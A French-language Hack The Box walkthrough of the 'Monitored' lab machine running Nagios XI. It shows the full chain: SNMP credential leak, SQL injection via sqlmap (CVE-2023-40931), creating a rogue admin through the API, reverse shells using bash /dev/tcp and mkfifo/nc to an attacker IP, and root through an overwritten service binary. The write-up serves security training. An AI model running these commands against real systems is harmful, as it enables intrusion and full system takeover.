HTB: Monitored
- Platforme: Hack The Box
- Lien: Monitored
- Niveau: Moyen
- OS: Linux
Monitored met l’accent sur une énumération rigoureuse, le challenge commence avec un formulaire de connexion pour Nagios XI et l’énumération des répertoires mène à la découverte de plus en plus de points de terminaison. Après avoir exploité toutes les pistes de notre scan TCP, nous utilisons un scan UDP pour trouver un service exploitable qui conduit à une fuite d’identifiants que nous utilisons pour nous connecter. Nous découvrons la version du logiciel sur la cible et utilisons le CVE-2023-40931
pour ajouter un nouveau compte administrateur à l’instance de Nagios XI afin de nous accorder l’accès. En exécutant une commande (reverse shell) dans Nagios XI, un accès initial est établi et en manipulant certains services, nous escaladons nos privilèges pour pour accéder au compte root.
Adresse IP cible - 10.10.11.248
Scanning
nmap -sC -sV -oA nmap/Monitored 10.10.11.248
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-17 11:55 CDT
Nmap scan report for 10.10.11.248
Host is up (0.051s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
| 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn:
|_ http/1.1
|_http-title: Nagios XI
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after: 2297-08-25T21:46:55
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds
Quatre ports ouverts sont détectés, 22 (SSH), 80 (HTTP avec Apache), 389 (LDAP), 443 (HTTPS). Nous sommes également redirigés vers nagios.monitored.htb/
.
sudo echo "10.10.11.248 monitored.htb nagios.monitored.htb" | sudo tee -a /etc/hosts
Enumération
Nous trouvons une page de login Nagios XI après avoir cliqué sur Access Nagios XI
lorsque nous visitons https://nagios.monitored.htb/
L’url de cette page est https://nagios.monitored.htb/nagiosxi/login.php
. Nous n’avons pas les identifiants pour nous connecter pour le moment.
Nagios est un outil open source de surveillance des systèmes informatiques. Il a été conçu pour fonctionner sur le système d’exploitation Linux et peut surveiller des appareils fonctionnant sous Linux, Windows et Unix.
Nous pouvons faire une énumération de répertoires avec ffuf. Commençons par https://nagios.monitored.htb/
.
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100 -fc 404 -e .php,.html,.txt -u https://nagios.monitored.htb/FUZZ -ic
Nous trouvons un point de terminaison /nagios
et la visite de https://nagios.monitored.htb/nagios
nous invite à nous connecter, mais nous n’avons pas d’informations d’identification à ce stade.
Ensuite, nous examinons https://nagios.monitored.htb/nagiosxi/
et plusieurs résultats sont obtenus.
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'https://nagios.monitored.htb/nagiosxi/FUZZ' -e .php,.html,.txt -ic -fc 404 -c
La plupart de ces points de terminaison redirigent vers la page de connexion, probablement parce que nous devons être authentifiés pour y accéder.
/images
et/api
renvoientForbidden
.
/terminal
présente une page intituléeShell In A Box
où nous avons accès à un terminal dans le navigateur pour nous connecter.
En allant plus en profondeur, /images
révèle davantage de résultats, mais nous n’avons pas les permissions pour y accéder.
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'https://nagios.monitored.htb/nagiosxi/images/FUZZ' -ic -c
En faisant la même chose pour /api
, nous trouvons /includes
et /v1
.
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -u 'https://nagios.monitored.htb/nagiosxi/api/FUZZ' -ic -c
includes
ne donne rien d’utile mais v1
renvoie quelques résultats intéressants.
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -fc 404 -u 'https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ' -ic -fs 32 -fc 403
license
et autheticate
renvoient tous deux des erreurs.
À ce stade, nous avons énuméré tous les éléments découverts. Pour le moment, nous avons trouvé:
Trois pages de connexion:
Un point de terminaison d’authentification à l’adresse https://nagios.monitored.htb/nagiosxi/api/v1/authenticate
Il apparaît clairement que nous avons besoin d’informations d’identification pour accéder au système cible.
Bien que les scans UDP soient rarement nécessaires dans les CTF, nous nous devons d’être aussi minutieux que possible dans notre reconnaissance. Je suis resté bloqué pendant longtemps après avoir omis d’utiliser un scan UDP.
Lançons un scan UDP.
sudo nmap -sU -sC -sV -vv 10.10.11.248
Il est normal pour les scans UDP de prendre beaucoup de temps, ils sont généralement plus lents.
Quatre ports seront découverts:
- 68 - DHCP
- 123 - NTP
- 161 - SNMPv1
- 162 - SNMPv3
Essayons d’exploiter SNMP. Nous pouvons utiliser snmpwalk
pour énumérer le service. Notons que deux versions de SNMP sont utilisées ici, nous spécifierons SNMP V1
car elle est moins sécurisée.
La commande ci-dessous génère beaucoup de données sur le terminal, il est donc préférable de l’envoyer dans un fichier.
snmpwalk -c public -v1 -t 10 10.10.11.248 > snmp.txt
En examinant le contenu du fichier, nous trouvons quelques lignes faisant référence à un script /opt/scripts/check_host.sh
avec ce qui semble être des informations d’identification svc:XjH7VCehowpR1xZB
.
Les identifiants ne fonctionnent pas sur https://nagios.monitored.htb/nagiosxi/terminal/
et nous constatons que ce compte utilisateur est soit désactivé, soit inexistant sur https://nagios.monitored.htb/nagiosxi/login.php
.
Accès Initial
Sur https://nagios.monitored.htb/nagios
, nous pouvons nous connecter. La page affiche un PID et la version du logiciel. Essayer de réutiliser le cookie de cette page sur /nagiosxi
échoue également.
En recherchant les vulnérabilités pour cette version spécifique du logiciel, nous trouvons trois CVE . Ces vulnérabilités permettent à des utilisateurs disposant de différents niveaux de privilèges d’accéder à des champs de la base de données par le biais d’injections SQL.
Rappelons que sur /api/v1/authenticate
nous avons vu le message Vous ne pouvez utiliser POST qu'avec authenticate.
- Nous envoyons une requête POST à ce point de terminaison avec les informations d’identification de l’utilisateur et nous recevons un token
curl -k -L -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB"
- Nous utilisons ce token pour lancer une injection SQL
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=895ab920b8c2b4196e16ee5c4f6c4470fbd77bae" -p id --level 5 --risk 3 --dump
Lorsque le message GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
apparaît entrez N
.
SQLmap commencera à extraire toutes les tables de la base de données mais nous pouvons inspecter les tables qui nous intéressent en allant dans /home/<Votre_nom_d'utilisateur>/.local/share/sqlmap/output/nagios.monitored.htb/dump/
. Nous savons que la vulnérabilité est liée aux tables xi_session
et xi_users
.
Vous pouvez aussi défiler sur le terminal et trouver le dump de la table xi_users
. Nous trouvons la clé API pour l’utilisateur Nagios Administrator
IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL
.
Des hashs de mots de passe sont également présents dans le dump mais nous ne sommes pas en mesure de les craquer.
Nous n’avons toujours pas d’identifiants valides pour nous connecter à Nagios XI et il n’y a aucun moyen de s’inscrire. Notre seule option est de trouver comment ajouter un nouveau compte.
Après quelques recherches, nous trouvons comment ajouter de nouveaux utilisateurs via l’API ici
et sur cette page
nous apprenons également comment ajouter un compte administrateur en utilisant le paramètre auth_level
.
La commande ci-dessous est utilisée pour créer un nouvel utilisateur admin. Les champs username
, email
, name
, et password
sont obligatoires.
curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=adminsec&password=password123&name=kscorpio&email=kscorpio@monitored.htb&auth_level=admin"
Avec le compte nouvellement créé, nous pouvons nous connecter à Nagios XI à l’adresse https://nagios.monitored.htb/nagiosxi/
.
Il vous sera demandé de changer le mot de passe après votre connexion.
Sur le tableau de bord, survolez le menu Configure
et sélectionnez Core Config Manager
.
Sélectionnez Commandes
et ensuite Add New
.
Ajoutez une commande reverse shell et sauvegardez-la. Par exemple: bash -c 'bash -i >& /dev/tcp/<IP_Address>/<Port> 0>&1'
.
Vous devez également cliquer sur Apply Configuration
pour que la nouvelle commande soit listée. Vous devriez maintenant voir 149 Commands
.
Démarrons un listener sur le port spécifié dans notre commande.
Pour lancer la commande, allez dans Monitoring
> Hosts
> cliquez sur localhost
.
Sous Check command
, sélectionnez votre commande et cliquez sur Run Check Command
et vous obtiendrez une connexion sur votre listener.
Le premier flag est accessible à /home/nagios/user.txt
.
Elévation de Privilèges
En exécutant sudo -l
nous découvrons que l’utilisateur peut manipuler deux services nagios
et npcd
en plus de pouvoir exécuter divers scripts.
En utilisant la commande find
, nous obtenons les emplacements exacts de nagios
et de npcd
.
find / -name nagios 2> /dev/null
find / -name npcd 2> /dev/null
Nous vérifions également les permissions des binaires et nous notons que nous avons les permissions d’écriture pour npcd
. Nous pouvons éditer le contenu du fichier et le remplacer par une commande malveillante pour obtenir un shell.
- Stopper le service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
- Editer
npcd
echo '#!/bin/bash' > /usr/local/nagios/bin/npcd
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.4 5555 >/tmp/f' >> /usr/local/nagios/bin/npcd
- Démarrez un listener et démarrez le service
npcd
à l’aide du script
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
Nous obtenons un shell root sur notre listener et nous pouvons lire le drapeau root dans /root/root.txt
.
J’espère que cet article vous a été utile! Si vous avez des questions, vous pouvez laisser un commentaire (nécessite un compte Github) ou vous pouvez me contacter sur Twitter à _KScorpio .